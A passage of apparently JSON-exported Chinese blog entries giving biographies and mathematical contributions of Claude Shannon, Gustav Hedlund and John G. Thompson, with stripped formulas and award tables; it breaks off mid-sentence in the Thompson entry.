Journal）上分两部分发表了长篇论文《通信的数学理论》（A mathematical theory of communication）。 这部著作标志着 “信息论（information theory）” 这一全新学科的诞生，它为现代通信系统中的各个组成部分以及整体架构建立了一个清晰的概念基础。 在 Shannon 之前，通信工程界对于 “消息” 究竟是什么只有一个非常模糊的概念。Shannon 剥离了消息的语义（即 “意义”），指出消息应当被视为在多个选项之间的 “选择”。 他强调，重要的是进行选择，而不是选项的具体表现形式（如字母、象形文字或二进制 “0, 1” 代码）。这一想法构成了我们今天进行信息传输、存储的基础。 Shannon 进一步给出了通信过程的模型。他将整个通信过程抽象为一个包含信源（Source）、编码器（Encoder）、信道（Channel）、解码器（Decoder）和接收者的模型，并在历史上首次明确提出了 “编码（encoding）” 的概念。 他引入了人为数学模型（如 Markov 信源）来模拟具有统计规律的真实数据源，开启了利用随机过程来建立通信模型的先河。 三，离散信源时的信息论在他 1948 年论文的第一部分，Shannon 研究了信源取值为离散变量（比如 0, 1）时的信息论。 Shannon 引入了熵（entropy）的概念，将其定义为离散随机变量 的平均不确定度。对于一个具有 个可能状态的离散信源，若每个状态 发生的概率为 ，则其熵 为 这一定义不仅赋予了信息以精确的数学度量，还指出了信息量与概率分布之间的负对数关系：概率越小的事件发生时带来的信息量越大。 在此基础上，Shannon 提出了著名的信源编码定理（source coding theorem）。 该定理的粗略陈述为：对于熵为 的信源，平均每个符号至少需要 个二进制位才能实现无损表征；若分配的比特率低于此值，则无法实现无误差的复原。 为了证明这一定理，Shannon 引入了典型序列（typical sequence）的概念，即每种符号出现频率与其先验概率极其接近的序列。这一定理及其证明中引入的概念构成了今天各类有损、无损压缩技术的理论基础。 接下来，Shannon 考虑了噪声环境下的传输可靠性问题，他提出了信道容量（channel capacity）的概念及其核心定理：噪声信道编码定理（noisy channel coding theorem）。 这一定理推翻了传统认为提高传输可靠性必须降低速率的直觉。 该定理陈述为：只要信息传输速率 小于信道容量 ，就一定存在一种编码方式，使得随着编码块长度 趋于无穷大，接收端的译码错误概率 可以降至任意小；反之，若 ，则无论如何设计编码，错误概率都无法趋于零。 为了证明这一结论，Shannon 引入了随机编码思想。 此外，Shannon 还确立了信源信道分离定理，指出在离散系统中，可以将信源压缩（去除冗余）与信道编码（增加冗余以抗噪）作为两个独立的过程处理，而无需进行联合优化。 这一原则直接促成了现代数字通信系统的模块化分层架构，使得互联网与蜂窝网络的实现成为可能。 四，连续信源时的信息论在将理论扩展至连续情况时，Shannon 处理的是随时间连续变化的波形信号（例如一段音频）。他首先定义了连续随机变量的熵 为 其中 是信号的概率密度函数。 Shannon 证明了在给定的平均功率时，Gaussian 分布具有最大的熵，这一特性使得 Gaussian 噪声成为通信系统中最具破坏性的干扰形式。 为了将连续波形与离散比特流联系起来，香农应用并推广了采样定理（sampling theorem），指出一个带宽限制在 赫兹、持续时间为 秒的信号，可以由 个等间隔的离散样本点完全确定。这一定理建立了连续信号与离散信号之间的一个基本桥梁。 Shannon 给出了连续信道的加性白高斯噪声（AWGN）容量公式。对于带宽为 、信号功率为 、噪声功率为 的理想线性信道，其信道容量 的精确陈述为 该公式深刻揭示了带宽与信噪比（SNR）之间的权衡关系：为了维持相同的传输速率，可以通过增加带宽来弥补信噪比的不足，反之亦然。这一公式指导了从早期卫星通信到现代 5G 技术的研发方向。 针对无法无损传输的连续信号，Shannon 进一步提出了率失真理论（rate-distortion theory），旨在寻找在允许一定保真度损失（失真 ）的前提下，信源所需的最小信息率 。 该理论指出，对于给定的失真测度，存在一个最小的比特率，使得解码后的信号与原始信号的平均失真不超过 。这一发现为现代语音编码、图像压缩（如 JPEG）和视频流媒体技术（如 H.264 / H.265）提供了核心理论依据。 五，密码学在 1945 年撰写并于 1949 年公开发表的《保密系统的通信理论》（Communication theory of secrecy systems）中，Shannon 观察到保密系统在本质上就是一种特殊的通信系统：加密者试图通过引入干扰来防止非法监听者获取信息。 利用自己创立的信息论工具，Shannon 对密码系统的安全性进行了定量的分析。 他提出了 “完美保密性” 的概念，并用严格的数学语言证明了，要实现这种绝对无法破译的保密，唯一的办法是让密钥的熵不小于被加密消息的熵。 这一结论确立 OTP（One-time Pad）在理论上的安全性。 除此之外，Shannon 还考虑了保密性与消息冗余度之间的权衡。他引入了 “唯一解距离” 等概念，分析了攻击者在拥有多少密文的情况下可以通过统计方法还原原始信息。 他提出的 “扩散” 与 “混乱” 两大原则，即通过复杂的置换和代换将明文的统计特征抹去，至今仍是现代对称加密算法（如 DES 和 AES）设计的核心准则。 六、对人工智能、计算机博弈与自动机的早期探索在完成了信息论的构建后，Shannon 的兴趣转向了更具挑战性的领域：如何让机器像人类一样思考和学习。他在 1950 年发表的论文《编程实现计算机下棋》（Programming a computer for playing chess）是这一方向的早期探索。 在那个计算机计算能力极其有限的年代，Shannon 就预见到了启发式搜索和博弈树的概念。 他详细描述了如何通过评估函数来判断棋局的优劣，并提出了两种不同的搜索策略：暴力搜索和具有选择性的深度搜索。 尽管他本人没有亲手写出能够击败世界冠军的代码，但他的思想框架为后续工作提供了重要参考。 不仅在理论上，Shannon 还是一位动手能力极强的发明家。他设计的 “Theseus” 机器老鼠是最早的机器学习和自动机实验之一。通过继电器电路实现的逻辑存储，这一装置能够在迷宫中自主探索并 “记住” 路径，甚至在迷宫结构发生改变时重新学习。 此外，他还对自动机理论做出了重要贡献，证明了仅需两个内部状态就能构造出一台通用的 Turing 机，极大地简化了计算理论中的物理模型。 他在机器人、概率逻辑以及数据结构等方面的零星尝试，虽然大多未正式发表为宏篇巨著，但其展现出的跨学科融合能力和对机器智能本质的探索，深刻地启发了后来的人工智能学者。 Shannon 始终认为，机器的价值在于其处理信息和做出决策的能力，这一愿景至今仍指引着现代智能技术的发展方向。 除了自身研究，Shannon 与麦卡锡（John McCarthy，1927-2011）、明斯基（Marvin Minsky，1927-2016）和罗切斯特（Nathaniel Rochester，1919-2001）共同组织并参与了 1956 年的 Dartmouth 研讨会（1956 Dartmouth workshop），该研讨会被认为是人工智能领域的奠基性会议。"},{"title":"","date":"2026-05-16T00:07:00.000Z","updated":"2026-05-16T00:10:00.000Z","comments":true,"path":"notes/person/19.html","permalink":"https://blog.mhuig.top/notes/person/19","excerpt":"","text":"Hedlund Hedlund 生平古斯塔夫・阿诺德・赫德伦德（Gustav Arnold Hedlund, 1904-1993）是符号动力学（symbolic dynamics）和拓扑动力学（topological dynamics）的创始人之一。 他于 1904 年 5 月 7 日出生于美国 Massachusetts 州 Middlesex 县的 Somerville。他的父母均是来自瑞典的移民。 父亲莫里茨・特奥多尔・赫德伦德（Mauritz Teodor Hedlund，1867-1929）曾担任 Hanover 的 Dartmouth College 建筑与场地助理主管；母亲特克拉・玛丽亚・斯塔克（Tekla Maria Starck，1872-1946）是一位家庭主妇。在 20 世纪初工业蓬勃发展的新英格兰，Hedlund 与兄弟威廉・西奥多・赫德伦德（Wilhelm Theodore Hedlund，1899-1944）一起在 Somerville 这个人口密集的且具有浓厚学术氛围的 Boston 郊区长大。 1925 年，他在 Harvard 大学获得了本科学位，在校期间强大的师资力量为他打下了极其扎实的纯数学分析与拓扑学基础。 随后他前往 Columbia 大学攻读硕士学位（约于 1927 年完成），并同时在亨特学院（Hunter College，现在是 New York 市立大学下的一所四年制学院）担任讲师。 此后，他返回 Harvard 大学攻读博士学位，师从 20 世纪大范围变分法（calculus of variations in the large）与大范围拓扑学（topology in the large）的绝对先驱莫尔斯（Harold Calvin Marston Morse，1892-1977）。 Morse 是伯克霍夫（George David Birkhoff，1884-1944）的学生。 在当时，“大范围（in the large）” 是一个极其前沿的数学理念，意味着跳出微积分的局部视角，将几何空间作为一个整体来研究其全局拓扑性质，这演变成了后来的 Morse 理论（Morse theory）。 Morse 理论的一些想法可追溯到凯莱（Arthur Cayley，1821-1895）和麦克斯韦（James Clerk Maxwell，1831-1879）所研究的地形学（topography）。 1930 年，Hedlund 凭借题为《I. 具有周期系数的二维 Riemannian 流形上的测地线；II. Poincaré 旋转数与 Morse 类型数》（I. Geodesics on a two-dimensional Riemannian manifold with periodic coefficients; II. Poincaré's rotation number and Morse's type number）顺利获得博士学位，这项工作确立了他一生将几何学与动力系统紧密结合的研究基调。 Hedlund 的正式学术生涯始于 1930 年，他在布林莫尔学院（Bryn Mawr College，距离费城不远）担任教职直至 1939 年。在此期间，他不仅教授解析几何、微积分等基础课，还讲授了变分法、位置分析（analysis situs，即拓扑学的早期名称）、微分方程、力学以及复变函数论等高级课程。 他在这里指导了他的首批博士生，包括 1937 年毕业的两位女学生安娜・格兰特（Anna Grant）和安妮塔・图勒（Annita Tuller，1910-1994）。 1939 年至 1948 年，他转任 Virginia 大学。 在这段时期，他指导了沃尔特・赫尔比格・戈特沙尔克（Walter Helbig Gottschalk，1918-2004）（1944 年毕业）和 W・罗伊（温菲尔德）乌茨（W. Roy (Winfield) Utz, Jr.，1919-2003）（1948 年毕业）等学生，这些学者后来推动了拓扑动力学（topological dynamic）的发展。 1948 年，Hedlund 转入 Yale 大学任教。他被授予 Philip Schuyler Beebe 数学讲席教授头衔直至 1972 年退休。在 1949 年至 1959 年长达十年的时间里，他担任数学系主任，并在 Yale 大学培养了一大批日后卓有建树的学者，包括 莱昂・威廉・格林（Leon William Green，1926-2009）：1948 年 Harvard 本科毕业，1952 年 Yale 博士毕业，1953 年起，任教于 Minnesota。 罗伯特・尤金・布莱恩（Robert Eugene Bryan）：1960 年毕业 约翰・杜安・弗格森（John Duane Ferguson）：1962 年毕业 纳尔逊・格罗・马克利（Nelson Groh Markley）：1966 年毕业，以及 伊桑・M・科文（Ethan M. Coven）：1967 年毕业等。 Hedlund 曾三次（1933–1934, 1938–1939, 1953–1954）前往 Princeton 的 Institute for Advanced Study（IAS）担任访问学者。 在 1962 年至 1963 年冷战期间，他更是跨界出任了 Institute for Defense Analyses（IDA）通信研究部的主任，参与了通信与国防相关的应用数学研究。 1943 年，他当选为科学界荣誉学会 Sigma Xi（Sigma Xi, The Scientific Research Honor Society）的成员。 退休后，Hedlund 仍前往 Wesleyan 大学担任客座教授，直至 1993 年 3 月 15 日辞世。 贡献一、建立 Poincaré 旋转数（Poincaré rotation number）与 Morse 类型数（Morse type number）的联系在 1932 年发表的一篇基于其博士论文的重要文章中，Hedlund 探索了流形上的周期行为。 对 上的连续保序变换（continuous, order‑preserving transformations of the circle），系统渐近的宏观平均旋转行为被称为 Poincaré 旋转数（Poincaré rotation number）。 Poincaré 旋转数是 Henri Poincaré 在 1885 年的论文《关于由微分方程定义的曲线（III）》（Sur les courbes définies par les équations différentielles (III)）里引入的。 假设 是 上的保定向的同胚映射（orientation‑preserving homeomorphism），那么 可提升（lifted）到同胚映射 ，满足 的旋转数定义为 Henri Poincaré 证明了上面极限存在，且与所选取的起点 无关。因为不同的提升 只差一个整数，所以旋转数是 里的元素。 如果 是旋转了 的映射， ，那么 ，从而 的旋转数是 。 同时，在其导师 Marston Morse 创立的变分法理论中有一个核心概念 ——Morse 类型数（Morse type number），用于量化动力系统中极小集（minimal sets）的拓扑复杂性（topological complexity）。 Hedlund 严格证明了：如果上述圆周变换的旋转数是无理数（irrational number），那么其对应的 Morse 类型数必定是奇数（odd number）。 这一优美的定理首次提供了一个极其强悍的拓扑不变量。它直接将几何上的旋转行为与变分学性质严密地绑定在一起，为基于极小不变集（minimal invariant sets）对拓扑变换进行分类提供了最早期的系统工具。 二、证明测地流的遍历性（ergodicity of geodesic flows）与几何动力学20 世纪 30 年代，受 John von Neumann 提出的均值遍历定理（mean ergodic theorem）启发，数学界当时希望在具体的连续几何流形上验证这种宏观的统计力学性质。Hedlund 对常负曲率曲面上的测地流、Fuchsian 群作用以及相关轨道结构作出了重要研究，为几何动力系统和遍历理论的发展奠定了基础。 在这样的几何空间的单位切丛（unit tangent bundle）上，他严格证明了测地流（geodesic flow）关于 Liouville 测度（Liouville measure，即相空间的自然体积测度）是遍历的（ergodic）。 这意味着几乎所有轨道的时间平均（time averages）都将严格收敛于整个系统的空间平均（space average）。在宏观上表现出极其稠密的轨道（dense orbits）和强混合性质（strong mixing properties）。 Hedlund 通过严密分析几何流的非游荡集（non-wandering set）和传递性（transitivity），成功将几何约束转化为了严谨的测度论结果。 此外，他对具有周期测地曲率的 Riemannian 流形（Riemannian manifolds with periodic geodesic curvature）以及 Fuchsian 群的动力学（dynamics of Fuchsian groups）的研究，也为遍历理论（ergodic theory）打下了基础。 三、符号动力学（symbolic dynamics）的创立符号动力学研究的对象是定义在离散空间上的动力系统，该离散空间由抽象符号构成的无限序列。 相关想法可追溯到 Hadamard 在 1898 年的关于负曲率曲面上测地线的论文《曲率相反的曲面及其测地线》（Les surfaces à courbures opposées et leurs lignes géodésiques）。 1921 年，Marston Morse 将其应用于构造非周期性递归测地线（nonperiodic recurrent geodesic）。 1938 年，Hedlund 与导师 Morse 发表《符号动力学》（Symbolic dynamics）及其后续《无尽国际象棋、符号动力学与半群中的一个问题》（Unending chess, symbolic dynamics, and a problem in semi-groups），通常被视为符号动力学作为系统理论的起点。 1948 年，Shannon 在《通信的数学理论》（A mathematical theory of communication）中系统使用符号序列、信源编码和熵的思想，开创了信息论。 这种离散组合框架（discrete combinatorial framework），使得研究人员能够通过纯符号编码（symbolic encoding）来分析复杂的动力学行为，为后来的混沌理论（chaos theory）提供了重要的理论基础。 四、拓扑动力学（topological dynamics）的公理化早期的遍历理论（ergodic theory）高度依赖概率论和特定的测度工具（measure-theoretic tools）。 然而，Hedlund 指出，许多动力系统的长程演化属性（long-term evolutionary properties）可以剥离微积分，仅仅取决于底层的宏观拓扑结构（topological structure）。 1955 年，他与得意门生 Walter Gottschalk 共同出版了具有里程碑意义的专著《拓扑动力学》（Topological Dynamics）。 在这部著作中，他们采用抽象的拓扑半群（topological semigroups），将动力系统重新公理化（axiomatization）为拓扑变换群（topological transformation groups）在紧致空间上的连续作用。 利用点集拓扑语言，他们系统构建并分析了紧致空间上的同胚、迫近流（proximal flows）、极小集（minimal sets）和殆周期点（almost periodic points）等概念。这一公理体系宣告拓扑动力学正式脱离测度论，确立为一门纯数学分支。 在他的影响下，其学术后代将这些拓扑思想扩展到了常返变换（recurrent transformations）、区间映射和一般拓扑空间的演化性质，并启发了后来对拓扑熵（topological entropy）的研究。 五、Curtis-Hedlund-Lyndon 定理（The Curtis-Hedlund-Lyndon theorem）这是 Hedlund 于 1969 年发表的论文《移位动力系统的自同态与自同构》(Endomorphisms and automorphisms of the shift dynamical system) 中提出的著名纯数学定理（学界通常简称为 CHL 定理）。 该定理最初是作为符号动力学的核心结果提出的，极其优美地给出了离散动力系统演化规则的纯拓扑特征刻画。 在论文里，Hedlund 将柯蒂斯（Morton Landers Curtis，1921-1989）和林登（Roger Conant Lyndon，1917-1988）列为共同发现者。 Lyndon 在 1946 年获得博士学位（指导老师是 Saunders MacLane）；他的博士论文产生了 Lyndon-Hochschild-Serre 谱序列（Lyndon-Hochschild-Serre spectral sequence）。 在原始论文中，Hedlund 研究的是有限字母表上的全移位空间（full shift space over a finite alphabet）。 CHL 定理指出：一个定义在该空间上的全局映射（global mapping）能够由微观的 “有限局部块编码（sliding block codes）” 生成，当且仅当它同时满足两个宏观拓扑条件（macroscopic topological conditions）： 它是连续映射； 它与移位映射可交换（commutes with the shift map）。 尽管 Hedlund 证明该定理的初衷是为了研究纯数学中的有限型子移位（subshifts of finite type）等代数拓扑结构，并未直接涉足计算机领域。但后来理论计算机科学界发现，CHL 定理所刻画的拓扑映射，在数学本质上完全等价于一维元胞自动机（cellular automata）。 该定理极具远见地将计算机科学中微观的局部可计算性（local computability）与纯数学中宏观的点集拓扑连续性（point-set topological continuity）等价了起来。"},{"title":"","date":"2026-03-31T01:07:00.000Z","updated":"2026-05-03T01:10:00.000Z","comments":true,"path":"notes/person/2.html","permalink":"https://blog.mhuig.top/notes/person/2","excerpt":"","text":"Thompson Thompson 生平约翰・格里格斯・汤普森（John Griggs Thompson，1932-）出生于美国堪萨斯州的渥太华（Ottawa）。他的童年正值美国大萧条时期，出生在一个普通家庭，并没有显赫的学术渊源或优越的教育条件。 他在早年便展现出异于常人的耐心与对事物的好奇心。年轻的 Thompson 喜欢长时间静静地坐在一个问题面前，在脑海中反复推敲，直到完全看透其复杂的底层逻辑。 Thompson 对数学的兴趣在一定程度上得益于大他三岁的哥哥。 他哥哥进入大学后曾试图向他解释微积分的概念，尽管年轻的 Thompson 觉得那些关于极限和无穷的理论 “完全无法理解”，但这激发了他的求知欲，促使他主动前往当地图书馆寻找更高级的数学书籍进行自学。 此外，他也痴迷于国际象棋以及纸牌游戏中所蕴含的复杂组合学。 Thompson 最初的学术志向并非纯粹的数学研究。1951 年，当他作为本科生进入 Yale 大学时，他的最初目标是主修神学，并希望未来能成为一名长老会牧师（Presbyterian minister）。然而，在 Yale 的求学过程中，他选修了数学课程，立刻被数学的深邃所折服。 他后来回忆道：“能够接触到如此深刻的数学，并回应它的召唤，是一件非常令人兴奋的事情。” 1955 年，Thompson 从 Yale 大学获得学士学位。 随后，Thompson 前往 Chicago 大学攻读博士学位，师从著名的代数学家、范畴论的奠基人之一麦克莱恩（Saunders Mac Lane，1909-2005）。 Mac Lane 以其深厚的学术造诣和严谨的治学风格著称，他赋予了 Thompson 极大的自由，让他能够挑战那些被认为几乎不可能攻克的经典难题。 1959 年，Thompson 完成了他的博士论文《证明具有素数阶无不动点自同构的有限群是幂零群》（A proof that a finite group with a fixed-point-free automorphism of prime order is nilpotent），一举解决了弗罗贝尼乌斯（Ferdinand Georg Frobenius，1849-1917）在六十年前提出的一个著名猜想。 Thompson 并没有仅仅将现有的群论技术向前推进，而是引入了高度原创的局部推导与子群结构分析方法。 这一成就震动了当时的数学界，甚至被《纽约时报》（The New York Times）报道，标志着一个群论新时代的黎明。 1959 年获得博士学位后，Thompson 短暂地在 Harvard 大学担任助理教授（1961–1962），随后回到 Chicago 大学担任正教授（1962–1968）。正是在这一时期，Thompson 迎来了他学术生涯中最辉煌的篇章。 1963 年，他与费特（Walter Feit，1930–2004）合作，在《Pacific Journal of Mathematics》上发表了长达 255 页的旷世巨作《奇数阶群的可解性》（Solvability of groups of odd order）。 这篇论文解决了困扰数学界半个多世纪的 Burnside 问题（Burnside problem）—— 由 伯恩赛德（William Burnside，1852-1927）在 20 世纪早期提出，证明了 奇数阶有限群都是可解的（every finite group of odd order is solvable）。 这篇论文的长度在当时的数学界是史无前例的，占据了该期刊整整一期的篇幅。正如数学家布劳尔（Richard Dagobert Brauer，1901-1977）所言，这项工作为整个有限单群分类纲领注入了决定性的信心。 紧接着，Thompson 独自承担了另一项极其庞大且艰巨的工程：对单 - 群（simple -groups）进行分类。 这项工作同样主要发表在《Pacific Journal of Mathematics》上（1968-1974），分为六篇系列论文，总页数超过 400 页。 1968 年，Thompson 跨越大西洋，接受了英国 Cambridge 大学的邀请，并于 1970 年被任命为 Rouse Ball Professor of Pure Mathematics。 他在 Cambridge 度过了 23 年丰硕的学术岁月。在此期间，他的研究兴趣发生了令人瞩目的扩展，从纯粹的有限群论延伸到了编码理论、有限射影平面、逆 Galois 问题（inverse Galois problem）以及后来的魔群月光猜想（Monstrous moonshine conjecture）。 在 monstrous moonshine 猜想的早期，正是 Thompson 敏锐地抓住了麦凯（John K. S. McKay，1939-2022）的初步观察，并将其扩展为 McKay-Thompson 级数（McKay-Thompson series），将群论、代数几何与理论物理不可思议地联系在了一起。 1993 年，他返回美国，担任 Florida 大学的 Graduate Research Professor，同时保留了 Cambridge 的荣休教授头衔。 Thompson 的治学风格以极高的强度和对他人的慷慨而闻名。在学术合作中，他被描述为一位极具同情心的导师，愿意将自己尚未发表的、具有突破性潜力的原始想法毫无保留地分享给他的研究生们。 他的学生群体中诞生了多位在有限单群分类中起到核心作用的数学家，包括 成功构造了最大零星单群（sporadic simple groups）“魔群” 的格里斯（Robert Louis Griess Jr.，1945-）； 共同完成有限单群分类第二代证明（GLS 纲领，“G” 指的是 Daniel E. Gorenstein（1923-1992），“L” 指的是 Richard Neil Lyons，“S” 指的是 Ronald Mark Solomon（1948-））的莱昂斯（Richard Neil Lyons，1945-）； 在计算群论中做出奠基性贡献的西姆斯（Charles Coffin Sims，1937-2017）。 这种慷慨的协作精神极大地加速了二十世纪下半叶群论的发展进程。 他的长期合作者 Walter Feit 曾这样评价他：“他是一位研究重大问题的数学家，从不让困难使自己气馁。他经常通过引入全新的思想来克服这些困难，而这些新思想对未来的发展产生了巨大的影响。” Thompson 的妻子奥宁（Diane Ella Oenning）是一位研究陀思妥耶夫斯基（Fyodor Mikhailovich Dostoevsky，1821-1881）和托尔斯泰（Lev Nikolayevich Tolstoy，1828-1910）的杰出学者。 两人育有一女 Dr. Kari Sigrid Carstairs，并有两个外孙 Benjamin 和 Daniel。Thompson 本人也是一位阅读爱好者，喜欢传记和历史著作。此外，他还喜欢音乐，现在仍会偶尔弹钢琴。 Thompson 获得了数学界几乎所有的最高奖项。 1965 年他获颁 Cole Prize in Algebra； Cole Prize in Algebra 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1928 L.E. Dickson 1944 O. Zariski 1949 R. Brauer 1954 Harish-Chandra 1960 S. LangM.A. Rosenlicht 1965 W. FeitJ.G. Thompson 1975 H. BassD.G. Quillen 1985 G. Lusztig 1990 S. Mori 2000 A. SuslinA.J. de Jong 2003 H. Nakajima 2006 J. Kollár 2015 P. Scholze 2021 许晨阳 2024 J. Fintzen 1970 年在法国 Nice 举行的国际数学家大会上，他因对有限群论及单群分类的革命性贡献获得了 Fields 奖（与广中平祐（Heisuke Hironaka，1931-2026）、诺维科夫（Sergei Petrovich Novikov，1938-2024）一起分享）； 1982 年获得伦敦数学会的 Senior Berwick Prize； Senior Berwick Prize 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1946 L. Mordell 1948 J.H.C. Whitehead 1952 W.V.D. Hodge 1954 H. Davenport 1956 E.C. Titchmarsh 1960 J.E. Littlewood 1982 J.G. Thompson 1990 N. Hitchin 1992 J. Eells 2010 D. MacDuff 2012 I. Agol 2014 D. FreedM. HopkinsC. Teleman 2018 M. Levine 2020 T. Hales 2024 C.J. Bishop 1985 年获得皇家学会的 Sylvester Medal； Sylvester Medal 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1901 H. Poincaré 1904 G. Cantor 1916 J.G. Darboux 1922 T. Levi-Civita 1925 A.N. Whitehead 1928 W.H. Young 1934 B. Russell 1940 G.H. Hardy 1943 J.E. Littlewood 1949 L.J. Mordell 1952 A.S. Besicovitch 1955 E.C. Titchmarsh 1967 H. Davenport 1982 J.F. Adams 1985 J.G. Thompson 2000 N.J. Hitchin 2003 L. Carleson 2006 P. Swinnerton-Dyer 2014 B. Green 2016 T. Gowers 2018 D. McDuff 2019 P. Sarnak 2020 B.J. Birch 2025 M. Hairer 1992 年获 Wolf 数学奖 和 Poincaré Medal； Wolf 数学奖部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1978 I. GelfandC.L. Siegel 1979 J. LerayA. Weil 1980 H. CartanKolmogorov 1981 L. AhlforsO. Zariski 1982 H. WhitneyM. Krein 1983/84 陈省身Paul Erdős 1984/85 KodairaH. Lewy 1988 HirzebruchHörmander 1989 A. CalderónJ. Milnor 1992 L. CarlesonJ.G. Thompson 1993 M. GromovJ. Tits 1995/96 LanglandsA. Wiles 2000 BottJ.P. Serre 2005 MargulisS. Novikov 2008 DeligneGriffithsMumford 2010 丘成桐Sullivan 2017 SchoenFefferman 2020 DonaldsonEliashberg 2022 Lusztig 2023 Daubechies 2024 A. ShamirN. Alon 2000 年，美国总统 Bill Clinton 授予他 National Medal of Science。 美国国家奖章数学部分获得者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 1963 N. Wiener 1964 S. Lefschetz / M. Morse 1965 O. Zariski 1966 J. Milnor 1967 P. Cohen 1970 R. Brauer 1974 K. Gödel 1975 陈省身 / J. Backus / G. Dantzig 1976 K.O. Friedrichs / H. Whitney 1983 H. Goldstein / I. Singer 1986 A. Zygmund 1987 M. Freedman 1995 L. Nirenberg 1996 R.M. Karp / S. Smale 1997 丘成桐 2000 J.G. Thompson / K. Uhlenbeck 2001 C.R. Rao / E.M. Stein 2009 D. Mumford 2011 S.W. Golomb / B. Mazur 2013 M. Artin 2024 I. Daubechies / C. Dwork 2008 年，获得了 Abel Prize。 Abel Prize 部分获奖者 获奖时间 获奖人 获奖时间 获奖人 获奖时间 获奖人 2003 J. P. Serre 2004 M. Atiyah / I. Singer 2005 P. Lax 2006 L. Carleson 2007 Varadhan 2008 Thompson / J. Tits 2009 M. Gromov 2010 J. Tate 2011 J. Milnor 2012 Szemerédi 2013 P. Deligne 2014 Y. Sinai 2015 Nash / Nirenberg 2016 A. Wiles 2017 Y. Meyer 2018 Langlands 2019 Uhlenbeck 2020 Furstenberg / Margulis 2021 Lovász / Wigderson 2022 Sullivan 2023 Caffarelli 2024 Talagrand 2025 Kashiwara 2026 Faltings 此外，他于： 1967 年：当选 美国国家科学院院士 1979 年：当选 英国皇家学会外籍院士 1998 年：当选 美国艺术与科学院院士 贡献一、Frobenius 猜想Frobenius 群（Frobenius group）是一类作用在有限集上的传递置换群（transitive permutation group），其性质是：没有非平凡元素能够固定多于一个点，且存在某个非平凡元素能固定一个点。 假设 是由集合 的所有置换（permutation）构成的 Frobenius 群。 中固定 的某一点的子群 称为 Frobenius 补（Frobenius complement）。 单位元连同所有不在 的任何共轭（conjugate）中的元素构成一个正规子群（normal subgroup），称为 Frobenius 核（Frobenius kernel） （这是 Frobenius 在 1901 年发表的论文《关于可解群. IV.》（Über auflösbare Gruppen. IV.）里证明的定理，利用了特征标理论（character theory））。 Frobenius 群 是 与 的半直积（semidirect product），即 Frobenius 进一步猜想 是幂零群（nilpotent group）。该猜想在接下来的六十年里一直悬而未决，直到 Thompson 在他的博士论文中给出了纯群论的证明 ——1960 年以《有限群的正规 - 补》（Normal -complements for finite groups）为题发表。 此结果有以下等价表述： 定理（Thompson, 1959）：设 是一个有限群。如果 拥有一个质数阶的自同构 ，使得除单位元外的所有元素在 的作用下都没有不动点，那么 是幂零群。 在证明中，Thompson 引入了局部分析方法，通过研究群 的所有非平凡 Sylow - 子群 中特征子群的正规化子（normalizer），来反向推导群 的整体结构。这成为了后来有限单群分类最核心的技术手段。 二、Feit-Thompson 奇数阶定理伯恩赛德（William Burnside，1852-1927）在 1911 年提出一个深刻猜想：所有非交换的有限单群必定具有偶数阶。 换言之，任何奇数阶的有限群必定是可解群。这一猜想在提出后的半个世纪内几乎无人能够触及。 布劳尔（Richard Dagobert Brauer，1901-1977）提出了利用对合的中心化子（centralizers of involutions）来分类有限单群的纲领。 由于奇数阶群不存在对合（即 2 阶元素），为了使 Brauer 纲领得以全面展开，必须首先无条件地排除奇数阶非交换有限单群存在的可能性。 定理（Feit-Thompson, 1963）：所有奇数阶有限群都是可解群。换言之，不存在奇数阶的非交换有限单群。 这篇发表于《Pacific Journal of Mathematics》上的论文长达 255 页，其证明的复杂性和篇幅在当时的数学界是空前的。证明的核心基于极小反例法（minimal counterexample）：假设存在奇数阶的非可解群，并取其中阶数最小的一个，记为 。根据极小性， 必定是一个极小单群，且其所有真子群均为可解群。 通过考察 中非平凡 - 子群的局部子群，证明揭示出 的极大子群的交集极其受限。最终将 的所有极大子群的可能相互嵌入配置缩小到了极其有限的几种形态。 在得到 中子群结构的精细划分后，Feit 与 Thompson 运用了 Richard Brauer 的模特征标理论以及戴德（Everett Clarence Dade）的等距映射技术。 由于 的阶为奇数，其非主不可约复特征标（non-principal irreducible complex characters）必不可能是实的。 通过在特定极大子群上构造广义特征标，利用 Frobenius 互反律将其诱导到 上，他们得到了这些诱导特征标在 上的算术限制，进而导出矛盾。 奇数阶定理的证明宣告了局部分析方法的胜利，并直接促成了有限单群分类纲领进入实施阶段。 三、 - 群的完全分类有了强大的局部工具，Thompson 向单群分类迈出了实质性的第二步，即分类所谓的 - 群与极小单群。由于 Feit-Thompson 定理保证了所有非交换单群都具有偶数阶，研究包含 - 子群的局部结构成为了核心。 极小单群（minimal simple group）：非循环单群（non-cyclic simple group），若它的所有真子群都是可解群。 - 群（N-group）：它的所有局部子群（即非平凡 - 子群的正规化子（normalizer））均是可解群。 显然，由于极小单群的所有真子群（自然包括局部子群）均可解，因此极小单群必定是 - 群。 Thompson 在 1968 年至 1974 年间，通过六篇鸿篇巨制完成了对非可解（non-solvable）有限 - 群的彻底分类。在这长达 400 余页的证明中，Thompson 根据 Sylow - 子群的结构，对能够整除群阶数的素数分成四个集合。 证明分成不同的情况，依赖于素数 属于的集合及一个整数 （ 是最大的整数使得存在一个秩 的初等 Abelian 子群，该子群被一个非平凡的 - 子群正规化，且该 - 子群与初等 Abelian 子群平凡相交）。通过繁复分析，Thompson 得到（ 是 上的射影特殊线性群）： 定理（Thompson, 1968-1974）：所有非可解的有限 - 群完全分为：特殊线性群 、 ，酉群 ，交错群 ，Suzuki 群 ，Mathieu 群 及 Tits 群。 作为其直接推论，有限极小单群恰为以下五类之一： ， 为任意素数； ， 为奇素数； ， 且 或 ； ， 为奇素数； 。 这里有限极小单群 (finite minimal simple groups) 指群本身是非 Abelian 有限单群，且每个真子群都可解。 四、逆 Galois 问题（inverse Galois problem）与刚性准则逆 Galois 问题是代数数论中最古老的未解问题之一，即对于任意给定的有限群 ，是否存在有理数域 的一个有限 Galois 扩张 ，使得其 Galois 群 ？ 尽管对于 Abel 群与可解群，该问题由 Kronecker（1853）-Weber（1886）定理和 Shafarevich 的工作给出了部分解答，但对一般非 Abel 单群而言，这一问题十分复杂。 1984 年，Thompson 在《Journal of Algebra》上发表了论文《以 形式出现的某些有限群，这里 》（Some finite groups which appear as , where ），将模形式（modular form）与有限群的特征标理论（character 